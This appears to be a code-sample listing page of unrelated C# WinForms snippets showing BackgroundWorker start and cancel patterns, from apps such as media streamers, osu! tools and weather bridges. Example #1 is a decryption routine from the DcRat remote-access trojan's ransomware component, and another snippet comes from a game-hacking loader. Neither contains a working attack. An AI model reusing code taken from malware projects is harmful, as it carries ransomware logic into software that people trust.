示例#1
0
文件: Form1.cs 项目: x1234xx/DcRat
        public void Dec()
        {
            try
            {
                BackgroundWorker1.WorkerSupportsCancellation = true;
                BackgroundWorker1.RunWorkerAsync();
                BackgroundWorker2.WorkerSupportsCancellation = true;
                BackgroundWorker2.RunWorkerAsync();
                BackgroundWorker3.WorkerSupportsCancellation = true;
                BackgroundWorker3.RunWorkerAsync();
                while (Finished != 3)
                {
                    System.Threading.Thread.Sleep(50);
                }
                if (OK)
                {
                    Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted");
                    Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal);
                }

                Finished           = 0;
                Pass               = string.Empty;
                btnDecrypt.Enabled = true;
                btnDecrypt.Text    = "Decrypt";
                txtKey.ReadOnly    = false;
            }
            catch (Exception ex)
            {
            }
        }
示例#2
0
 private void WaitForService_KeyUp(object sender, KeyEventArgs e)
 {
     if (e.KeyCode == Keys.Escape)
     {
         BackgroundWorker1.CancelAsync();
     }
 }
        public frmMain()
        {
            // This call is required by the designer.
            InitializeComponent();

            // Add any initialization after the InitializeComponent() call.
            dtRainData.Columns.Add("time", typeof(DateTime));
            dtRainData.Columns.Add("rain", typeof(double));

            dtWindData.Columns.Add("time", typeof(DateTime));
            dtWindData.Columns.Add("windSpeed", typeof(double));

            lblWuStationID.Text       = Properties.Settings.Default.wuStation;
            lblWbStationID.Text       = Properties.Settings.Default.wbStation;
            lblPwsStationID.Text      = Properties.Settings.Default.pwsStation;
            lblAweatherStationID.Text = Properties.Settings.Default.awStation;

            if (Properties.Settings.Default.networkDevice.Length > 0)
            {
                txtOutput.Text = waitMessage;
                txtOutput.Refresh();
                pbarProgressBar1.Value = 5;

                if (BackgroundWorker1.IsBusy == false)
                {
                    BackgroundWorker1.RunWorkerAsync();
                }
            }
        }
示例#4
0
        private void BtnStart_Click(object sender, EventArgs e)
        {
            // check if the target path
            if (string.IsNullOrEmpty(outputPath))
            {
                MessageBox.Show("Please set the output directory", "Image compressor", MessageBoxButtons.OK, MessageBoxIcon.Error);

                return;
            }


            foreach (ListViewItem liItem in ListViewFiles.Items)
            {
                itemsList.Add(liItem);
            }


            totalFiles             = ListViewFiles.Items.Count;
            lblFilesCount.Text     = totalFiles.ToString();
            lblFilesProcessed.Text = "0";
            lblRemaining.Text      = "0";


            if (BackgroundWorker1.IsBusy == false)
            {
                BtnStart.Enabled = false;
                BackgroundWorker1.RunWorkerAsync();
            }
        }
示例#5
0
        private void UcHome_BtnStart_Click(object sender, EventArgs e)
        {
            if (isStart == false)
            {
                isStart = true;
                ucHome1.PicBoxStatus.Image = Properties.Resources.active;
                ucHome1.LblStatus.Text     = "Active";
                ucHome1.TbError.Text       = "";
                ucHome1.TbError.Visible    = false;
                ucHome1.BtnStart.Text      = "STOP";

                ucSettings1.TrkBarRefreshDelay.Enabled   = false;
                ucSettings1.TrkBarReconnectDelay.Enabled = false;
                ucSettings1.NumUDExchangeRate.Enabled    = false;
                ucSettings1.BtnReset.Enabled             = false;
                ucSettings1.BtnSave.Enabled = false;

                CancelToken = new CancellationTokenSource();
                BackgroundWorker1.RunWorkerAsync();
            }
            else
            {
                ucHome1.BtnStart.Text = "PLEASE WAIT";
                BackgroundWorker1.CancelAsync();
                CancelToken.Cancel();
            }
        }
示例#6
0
    public void CleaniREB()
    {
        MDIMain.dfuinstructions.Visible    = false;
        MDIMain.dfuinstructionstxt.Visible = false;
        MDIMain.blue.Visible    = false;
        MDIMain.Button1.Visible = false;
        BackgroundWorker1.Dispose();
        BackgroundWorker2.Dispose();
        // Display a child form.
        Form frm = new Form();

        frm.MdiParent = MDIMain;
        frm.Width     = this.Width / 2;
        frm.Height    = this.Height / 2;
        frm.Show();
        frm.Hide();

        Welcome.MdiParent = MDIMain;
        Welcome.Show();
        Welcome.Button1.Enabled = false;
        About.MdiParent         = MDIMain;
        About.Show();
        About.BringToFront();

        MDIMain.done.Enabled      = false;
        MDIMain.done.Checked      = false;
        MDIMain.donetxt.ForeColor = Color.DimGray;
        this.Dispose();
    }
示例#7
0
        public MainForm()
        {
            //
            // The InitializeComponent() call is required for Windows Forms designer support.
            //
            InitializeComponent();

            //
            // TODO: Add constructor code after the InitializeComponent() call.
            //

            // pfs for RunAtStartup checkbox
            if (rkApp.GetValue("ManyClipPFS") == null)
            {
                // The value doesn't exist, the application is not set to run at startup
                checkBoxRunAtStartup.Checked = false;
            }
            else
            {
                // The value exists, the application is set to run at startup
                checkBoxRunAtStartup.Checked = true;
            }



            //InitializeBackgoundWorker();
            CaptureEnabled = true;
            BackgroundWorker1.RunWorkerAsync();
        }
示例#8
0
 private void Btn_Exec_Click(object sender, EventArgs e)
 {
     progressBar1.Style = ProgressBarStyle.Marquee;
     Btn_Exec.Enabled   = false;
     BackgroundWorker1.WorkerReportsProgress = true;
     BackgroundWorker1.RunWorkerAsync(new String[] { Tb_Search.Text, Tb_InFile.Text, Tb_OutFile.Text });
 }
示例#9
0
 private void Timer3_Tick(object sender, EventArgs e)
 {
     if (BackgroundWorker1.CancellationPending == false)
     {
         Timer3.Stop();
         BackgroundWorker1.WorkerSupportsCancellation = true;
         BackgroundWorker1.RunWorkerAsync();
     }
 }
示例#10
0
        void LoadLocalStream(string LocalFile)
        {
            if (LocalFile.Contains(".mp4") == true || LocalFile.Contains(".avi") == true || LocalFile.Contains(".mkv") == true || LocalFile.Contains(".flv") == true || LocalFile.Contains(".mpg") == true || LocalFile.Contains(".webm") == true || LocalFile.Contains(".divx") == true || LocalFile.Contains(".mov") == true || LocalFile.Contains(".m4v") == true || LocalFile.Contains(".wmv") == true)
            {
                if (WS1.IsSocketOpen() == false)
                {
                    IsLocalStream = true;
                    TempFilePath  = LocalFile;
                    ConnectChromecast();
                    Timer4.Start();
                    return;
                }

                WebSvr1.CleanTempFiles();
                if (IsTranscoding == true)
                {
                    if (BackgroundWorker1.IsBusy == true)
                    {
                        BackgroundWorker1.CancelAsync();
                    }
                    if (gProcess.HasExited == false)
                    {
                        gProcess.Kill();
                    }
                }
                VideoTitle = LocalFile;
                VideoTitle = Regex.Split(LocalFile, @"\\")[Regex.Split(LocalFile, @"\\").Length - 1];

                Label3.Text = VideoTitle;

                if (LocalFile.Contains(".mp4") == true)
                {
                    IsTranscoding = false;
                    AppLog("Streaming: " + LocalFile);
                    WebSvr1.VideoFile(LocalFile);
                    WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, "http://" + LocalIP + ":" + LocalPort + "/video.mp4"));
                }
                else
                {
                    Thread.Sleep(1000);
                    AppLog("Transcoding: " + LocalFile);
                    TrancodeFilePath = LocalFile;
                    if (IsTranscoding == true && BackgroundWorker1.IsBusy == true)
                    {
                        if (BackgroundWorker1.CancellationPending == true)
                        {
                            Timer3.Start();
                        }
                        return;
                    }
                    IsTranscoding = true;
                    BackgroundWorker1.WorkerSupportsCancellation = true;
                    BackgroundWorker1.RunWorkerAsync();
                }
            }
        }
示例#11
0
 private void btnasync_Click(object sender, EventArgs e)
 {
     pictureBox1.Image  = null;
     lblresult.Text     = "";
     btncancel.Enabled  = true;
     btnasync.Enabled   = false;
     ProgressBar1.Value = 0;
     this.Cursor        = Cursors.WaitCursor;
     BackgroundWorker1.RunWorkerAsync(txtnum.Text);
 }
        private void BackgroundWorker1_RunWorkerCompleted(object sender, System.ComponentModel.RunWorkerCompletedEventArgs e)
        {
            pbarProgressBar1.Value = 0;

            if (BackgroundWorker1.IsBusy == false)
            {
                txtOutput.Text = DateTime.Now + "\t" + "Attempting to resume operation. It may take a few minutes for the bridge to come back online..." +
                                 System.Environment.NewLine + txtOutput.Text;
                pbarProgressBar1.Value = 5;
                BackgroundWorker1.RunWorkerAsync();
            }
        }
示例#13
0
 void LoadNetWorkStream(string Networkfile)
 {
     if (Networkfile.Contains(".mp4") == true || Networkfile.Contains(".avi") == true || Networkfile.Contains(".mkv") == true || Networkfile.Contains(".flv") == true || Networkfile.Contains(".mpg") == true || Networkfile.Contains(".webm") == true || Networkfile.Contains(".divx") == true || Networkfile.Contains(".mov") == true || Networkfile.Contains(".m4v") == true || Networkfile.Contains(".wmv") == true)
     {
         if (WS1.IsSocketOpen() == false)
         {
             IsLocalStream = false;
             TempFilePath  = Networkfile;
             ConnectChromecast();
             Timer4.Start();
             return;
         }
         WebSvr1.CleanTempFiles();
         if (IsTranscoding == true)
         {
             if (BackgroundWorker1.IsBusy == true)
             {
                 BackgroundWorker1.CancelAsync();
             }
             if (gProcess.HasExited == false)
             {
                 gProcess.Kill();
             }
         }
         string VideoURL  = Networkfile;
         string Videofile = Regex.Split(VideoURL, "/")[Regex.Split(VideoURL, "/").Length - 1];
         Label3.Text = Videofile;
         if (Videofile.Substring(Videofile.Length - 4, 4).ToLower() == ".mp4")
         {
             IsTranscoding = false;
             VideoTitle    = Videofile;
             WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, VideoURL));
         }
         else
         {
             Thread.Sleep(1000);
             TrancodeFilePath = VideoURL;
             VideoTitle       = Videofile;
             AppLog("Transcoding: " + VideoURL);
             if (IsTranscoding == true && BackgroundWorker1.IsBusy == true)
             {
                 if (BackgroundWorker1.CancellationPending == true)
                 {
                     Timer3.Start();
                 }
                 return;
             }
             IsTranscoding = true;
             BackgroundWorker1.WorkerSupportsCancellation = true;
             BackgroundWorker1.RunWorkerAsync();
         }
     }
 }
示例#14
0
        // ERROR: Handles clauses are not supported in C#
        private void HijackScreen_Load(object sender, EventArgs e)
        {
            hackeffecttimer.Tick   += new EventHandler(hackeffecttimer_Tick);
            conversationtimer.Tick += new EventHandler(conversationtimer_Tick);
            textgen.Tick           += new EventHandler(textgen_Tick);

            this.FormBorderStyle = FormBorderStyle.None;
            this.WindowState     = FormWindowState.Maximized;
            BackgroundWorker1.RunWorkerAsync();
            conversationtimer.Start();
            hackeffecttimer.Start();
        }
 private void btnStop_Click_1(object sender, EventArgs e)
 {
     BackgroundWorker1.CancelAsync();
     this.Invoke(new MethodInvoker(() => pbarProgressBar1.Value = 0));
     this.Invoke(new MethodInvoker(() => txtOutput.Text         = txtOutput.Text.Replace(waitMessage, "")));
     signalFails          = 0;
     txtSignal.BackColor  = Control.DefaultBackColor;
     txtSignal.Text       = "";
     txtBattery.BackColor = Control.DefaultBackColor;
     txtBattery.Text      = "";
     txtLastUpdated.Text  = "";
     txtSignalFails.Text  = "";
     this.Invoke(new MethodInvoker(() => txtOutput.Text = "Stopped." + System.Environment.NewLine + txtOutput.Text));
 }
示例#16
0
 /// <summary>
 /// 将结果输出到word中
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 /// <remarks></remarks>
 public void btnExport_Click(object sender, EventArgs e)
 {
     if (F_SelectedDrawings.Count() > 0)
     {
         if (BackgroundWorker1.IsBusy != true)
         {
             // Start the asynchronous operation.
             BackgroundWorker1.RunWorkerAsync(F_SelectedDrawings);
         }
     }
     else
     {
         return;
     }
 }
示例#17
0
 private void DelDulp_StartSearch_Click(object sender, EventArgs e)
 {
     DelDulp_StartSearch.Enabled = false;
     DelDulp_Cancel.Enabled      = false;
     try
     {
         if (Directory.Exists(Path.Combine(Settings.Default.OSUpath, "Songs")))
         {
             BackgroundWorker1.RunWorkerAsync(Path.Combine(Settings.Default.OSUpath, "Songs"));
         }
     }
     catch (SystemException ex)
     {
         Console.WriteLine(ex.StackTrace);
         throw (new FormatException("Failed to read song path", ex));
     }
 }
示例#18
0
 private void Form1_FormClosing(object sender, FormClosingEventArgs e)
 {
     try
     {
         Registry.SetValue(@"HKEY_CURRENT_USER\SOFTWARE\DeskCastC", "ROOTED", IsRooted.ToString());
         DSC1.StopDiscovery();
         WebSvr1.CleanTempFiles();
         if (BackgroundWorker1.IsBusy == true)
         {
             BackgroundWorker1.CancelAsync();
         }
         gProcess.Kill();
         Environment.Exit(0);
     }
     catch
     {
         Environment.Exit(0);
     }
 }
示例#19
0
        void ButtonStartClick(object sender, System.EventArgs e)
        {
            // routine assumes backgroundWorker was started in
            // MainForm constructor

            //toggle Capture
            if (CaptureEnabled.Equals(true))
            {               // if capturing was enabled
                BackgroundWorker1.CancelAsync();
                // this will result in event handler BackgroundWorker1_RunWorkerCompleted
                // and the button color and text will be changes.
            }
            else
            {              // if capturing was disabled
                BackgroundWorker1.RunWorkerAsync();
                CaptureEnabled             = true;
                this.buttonStart.BackColor = System.Drawing.Color.LightGreen;
                this.buttonStart.Text      = "Stop Capturing Clipboard Changes.";
            }
        }
示例#20
0
 public void GoGoGadgetCleanUp()
 {
     if (iDevice == "Apple TV 2")
     {
         atv2animation.Visible = true;
         atv2warn.Visible      = true;
         atv2.Visible          = false;
     }
     else
     {
         PictureBox1.Visible = false;
         animation.Visible   = true;
     }
     //Shared components
     Label1.Visible            = true;
     Button1.Visible           = true;
     resetdfubtn.Visible       = false;
     DateAndTime.Timer.Visible = false;
     BackgroundWorker1.Dispose();
 }
        private void btnStart_Click(object sender, EventArgs e)
        {
            if (Properties.Settings.Default.networkDevice.Length > 0)
            {
                txtOutput.Text = waitMessage;
                txtOutput.Refresh();
                lblWuStationID.Text       = Properties.Settings.Default.wuStation;
                lblWbStationID.Text       = Properties.Settings.Default.wbStation;
                lblPwsStationID.Text      = Properties.Settings.Default.pwsStation;
                lblAweatherStationID.Text = Properties.Settings.Default.awStation;

                pbarProgressBar1.Value = 5;

                if (BackgroundWorker1.IsBusy == false)
                {
                    BackgroundWorker1.RunWorkerAsync();
                }
            }
            else
            {
                try
                {
                    frmSetup setup = new frmSetup();
                    setup.ShowDialog();
                }
                catch (Exception ex)
                {
                    if (ex.Message.IndexOf("pcap", StringComparison.OrdinalIgnoreCase) == 0)
                    {
                        MessageBox.Show("ERROR: " + ex.Message + System.Environment.NewLine + System.Environment.NewLine +
                                        "Please go to http://www.winpcap.org , download WinPcap, and install it.");
                    }
                    else
                    {
                        MessageBox.Show("ERROR: " + ex.Message);
                    }
                }
            }
        }
示例#22
0
        private void BackgroundWorker1_DoWork(System.Object sender, System.ComponentModel.DoWorkEventArgs e) {
            //R            Dim d As New QueriesTableAdapter
            dynamic r = new Random();

            dynamic PIE2UID = 0;
            dynamic dataDate = new DateTime(2010, 1, 1);

            //NOTE: CODE HERE DOES NOT HANDLE e.g. 60 inputs per minute, only 525600 records

            /*
            for (x = 0; x <= dateTimeCount - 1; x++) {
                if (x % numberOfInputsPerMinute == 0) {
                    dataDate = dataDate.AddMinutes(1);
                }


                if (BackgroundWorker1.CancellationPending) {
                    break; // TODO: might not be correct. Was : Exit For
                }
                else {
                    if (PIE2UID % 30000 == 0) {
                        PIE2UID = 0;
                    }
                    PIE2UID = PIE2UID + 1;

                    dynamic value = Math.Round(r.NextDouble * 1000, 5);
                    //R     d.AddRecordVarchar(PIE2UID, value, dataDate)
                    //R   d.AddRecord(PIE2UID, value, dataDate)

                    if (x % 5000 == 0) {
                        BackgroundWorker1.ReportProgress(x / dateTimeCount * 100 * 0.9);
                    }
                }
            }*/

            BackgroundWorker1.ReportProgress(100);
        }
示例#23
0
 private void Scanforset(string path)
 {
     string[] osufiles = Directory.GetFiles(path, "*.osu");
     if (osufiles.Length != 0)
     {
         foreach (var osufile in osufiles)
         {
             var tmp = new Beatmap(osufile, path);
             _allBeatmap.Add(tmp);
         }
         BackgroundWorker1.ReportProgress(0);
     }
     else
     {
         var tmpfolder = Directory.GetDirectories(path);
         _all += tmpfolder.Length;
         BackgroundWorker1.ReportProgress(0);
         foreach (string subfolder in tmpfolder)
         {
             Scanforset(subfolder);
         }
     }
     _ok++;
 }
示例#24
0
        protected override void OnLoad(EventArgs e)
        {
            RefreshTheme();
            RefreshHotKeys();

            coreVersionLabel.Text   = engine.GetCoreVersion();
            gameVersionLabel.Text   = engine.GetCompatibleVersion();
            loaderVersionLabel.Text = _LOADER_VERSION;

            base.OnLoad(e);

            try
            {
                using (WebClient client = new WebClient())
                {
                    client.DownloadFile("https://raw.githubusercontent.com/madgwee/RO2-Hacking/master/Valkyrie.System/changelog.txt", "Changelog.txt");
                    StreamReader sr = new StreamReader("Changelog.txt");

                    string changelog = "";
                    while (!sr.EndOfStream)
                    {
                        changelog += sr.ReadLine() + Environment.NewLine;
                    }
                    changelogBox.Text = changelog;
                }
            }
            catch
            {
                changelogBox.Text = "Couldn't fetch the data.";
            }

            if (!BackgroundWorker1.IsBusy)
            {
                BackgroundWorker1.RunWorkerAsync();
            }
        }
示例#25
0
        public void extract(string mode, Configurations configs, OsuDb odb, CollectionDb cdb)
        {
            Configs   = configs;
            Mode      = mode;
            ValidMode = validChars(mode);
            Odb       = odb;
            Cdb       = cdb;
            Result    = false;

            if (Odb.Beatmaps.Count != 0)
            {
                Log = new List <string>();

                if (!System.IO.File.Exists(Configs.ImgPath))
                {
                    using (MemoryStream ms = new MemoryStream())
                    {
                        Properties.Resources.Defaultsongthumbnail.Save(ms, ImageFormat.Jpeg);
                        ms.Position     = 0;
                        PicDefault.Data = TagLib.ByteVector.FromStream(ms);
                    }
                }
                else
                {
                    PicDefault.Data = TagLib.ByteVector.FromPath(Configs.ImgPath);
                }

                try
                {
                    Directory.CreateDirectory(Path.Combine(Configs.OutPath, ValidMode));
                    OutputSubFolder = Path.Combine(Configs.OutPath, ValidMode);

                    if (Mode == "Complete library")
                    {
                        PrBarMax = 0;
                        BeatmapEntry oldBeatmap = Odb.Beatmaps[0];
                        foreach (BeatmapEntry beatmap in Odb.Beatmaps)
                        {
                            if (oldBeatmap.BeatmapSetId != beatmap.BeatmapSetId)
                            {
                                PrBarMax++;
                            }
                            oldBeatmap = beatmap;
                        }
                        PrBarMax++;
                    }
                    else
                    {
                        PrBarMax = 0;

                        //Select collection
                        foreach (Collection col in Cdb.Collections)
                        {
                            if (col.Name == Mode)
                            {
                                SelectedCollection = col;
                            }
                        }

                        foreach (string hash in SelectedCollection.BeatmapHashes)
                        {
                            PrBarMax++;
                        }
                    }

                    viewUpdate(true, PrBarMax);
                    BackgroundWorker1.RunWorkerAsync();
                }
                catch (Exception)
                {
                    MessageBox.Show("Unable to create directory:" + Path.Combine(Configs.OutPath, ValidMode) + Environment.NewLine + Environment.NewLine + "Please check if the fonder is read only or protected...", "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            else
            {
                MessageBox.Show("Your osu seems to have 0 songs thats weird..." + Environment.NewLine + Environment.NewLine + "Please put some maps in it or try another installation...", "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
示例#26
0
        private void BackgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            if (Mode == "Complete library")
            {
                int i = 0;
                int j = 1;

                BeatmapEntry oldBeatmap = Odb.Beatmaps[0];
                BeatmapEntry beatmap    = Odb.Beatmaps[0];

                while (!Cancel && j < Odb.Beatmaps.Count)
                {
                    if (oldBeatmap.BeatmapSetId != beatmap.BeatmapSetId)
                    {
                        i++;
                        extractBeatmap(oldBeatmap);
                        BackgroundWorker1.ReportProgress(i);
                    }

                    oldBeatmap = beatmap;
                    beatmap    = Odb.Beatmaps[j];
                    j++;
                }

                if (!Cancel)
                {
                    i++;
                    extractBeatmap(oldBeatmap);
                    BackgroundWorker1.ReportProgress(i);
                    Result = true;
                }
                else
                {
                    Cancel = false;
                }
            }
            else
            {
                int i = 0;
                int j = 0;

                //Iterate though maps
                BeatmapEntry beatmap = Odb.Beatmaps[0];
                while (!Cancel && j < Odb.Beatmaps.Count && i < SelectedCollection.BeatmapHashes.Count)
                {
                    foreach (string hash in SelectedCollection.BeatmapHashes)
                    {
                        if (beatmap.BeatmapChecksum == hash)
                        {
                            i++;
                            extractBeatmap(beatmap);
                            BackgroundWorker1.ReportProgress(i);
                        }
                    }

                    beatmap = Odb.Beatmaps[j];
                    j++;
                }

                if (!Cancel)
                {
                    Result = true;
                }
                else
                {
                    Cancel = false;
                }
            }
        }
示例#27
0
 public void cancel()
 {
     Cancel = true;
     BackgroundWorker1.CancelAsync();
     viewUpdate(false);
 }
示例#28
0
 private void Button1_Click(System.Object sender, System.EventArgs e) {
     //Dim d As New TestDatabaseSizingDataSetTableAdapters.QueriesTableAdapter
     //d.AddRecord(1, 2, DateTime.Now)
     BackgroundWorker1.RunWorkerAsync();
 }
示例#29
0
        private void BackgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            int    startAttempts = 0;
            string currentStatus;

            Invoke(new MethodInvoker(() => { this.Text = svcName; }));

            if (LoadSettings() == false)
            {
                BackgroundWorker1.CancelAsync();
            }
            Thread.Sleep(10);

            do
            {
                if (BackgroundWorker1.CancellationPending == true)
                {
                    return;
                }

                currentStatus = GetStatus(svcName);
                switch (currentStatus)
                {
                case "Running":
                    Invoke(new MethodInvoker(() => { label1.Text = currentStatus; }));
                    try
                    {
                        ProcessStartInfo startInfo = new ProcessStartInfo
                        {
                            FileName    = appName,
                            WindowStyle = (ProcessWindowStyle)appVis
                        };
                        Process.Start(startInfo);
                    }
                    catch (Exception ex)
                    {
                        ModalMessageBox(ex.Message, ex.Source);
                        Exit(1);
                        break;
                    }
                    Exit(0);
                    break;

                case "Stopped":
                    Invoke(new MethodInvoker(() => { label1.Text = currentStatus; }));
                    var svc = new ServiceController(svcName);
                    try
                    {
                        svc.Start();
                    }
                    catch (Exception ex)
                    {
                        ModalMessageBox(ex.Message, ex.Source);
                        Exit(2);
                    }
                    break;

                case "StartPending":
                    Invoke(new MethodInvoker(() => { label1.Text = currentStatus; }));
                    Invoke(new MethodInvoker(() => { progressBar1.MarqueeAnimationSpeed = 10; }));
                    Thread.Sleep(10);
                    if (startAttempts++ > 10)
                    {
                        ModalMessageBox("Too many start attempts.", svcName);
                        Exit(3);
                    }
                    break;

                default:
                    ModalMessageBox(currentStatus, svcName);
                    Exit(4);
                    break;
                }

                do
                {
                    Thread.Sleep(10);
                    if (BackgroundWorker1.CancellationPending == true)
                    {
                        return;
                    }
                } while (GetStatus(svcName).Equals(currentStatus));

                Invoke(new MethodInvoker(() => { progressBar1.MarqueeAnimationSpeed = 0; }));
            } while (true);
        }
示例#30
0
 public WaitForService()
 {
     InitializeComponent();
     BackgroundWorker1.RunWorkerAsync();
 }